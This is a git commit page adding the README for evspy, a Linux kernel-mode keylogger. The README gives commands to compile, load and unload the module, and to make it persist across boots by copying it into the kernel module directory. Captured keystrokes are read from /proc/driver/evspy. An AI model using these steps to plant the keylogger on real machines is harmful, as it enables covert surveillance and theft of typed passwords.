diff options
author | Guillermo Ramos | 2011-09-09 16:10:56 +0200 |
---|---|---|
committer | Guillermo Ramos | 2011-09-09 16:10:56 +0200 |
commit | cfaf177434cf38a59f893eda69c64ff458405230 (patch) | |
tree | ac3e305cc4e2a602ed5a0888f32cefde9474ac38 /evspy/README | |
parent | 19f0515e3d0b9aef3729fbe5e454fd5d154475d4 (diff) | |
download | lkm-master.tar.gz |
Diffstat (limited to 'evspy/README')
-rw-r--r-- | evspy/README | 47 |
1 files changed, 47 insertions, 0 deletions
diff --git a/evspy/README b/evspy/README new file mode 100644 index 0000000..cbc8d2f --- /dev/null +++ b/evspy/README @@ -0,0 +1,47 @@ +** INTRO ** + +Evspy is a general purpose kernel-mode keylogger in (early) development stage. + +The file from where you can read the registered keystrokes is /proc/driver/evspy +by default. Only root can read it. Beware users: evspy can troll you. + +Don't be evil. + + +** COMPILE ** + + $ make + + +** LOAD ** + + # insmod evspy.ko + + +** UNLOAD ** + + # rmmod evspy + + +** IS IT ALREADY LOADED? ** + + $ lsmod | grep evspy + + +** PERSISTENCE ** + +If you want evspy to be loaded every time system boots, copy it into your +kernel module dir: + + # cp evspy.ko /lib/modules/$(uname -r)/kernel/drivers/input/evspy.ko + +and update module database: + + # depmod -a + +(In some distros it could also be necessary to add it to some rc/config file) + +Once it has been installed, you can load it when you want with + + # modprobe evspy + |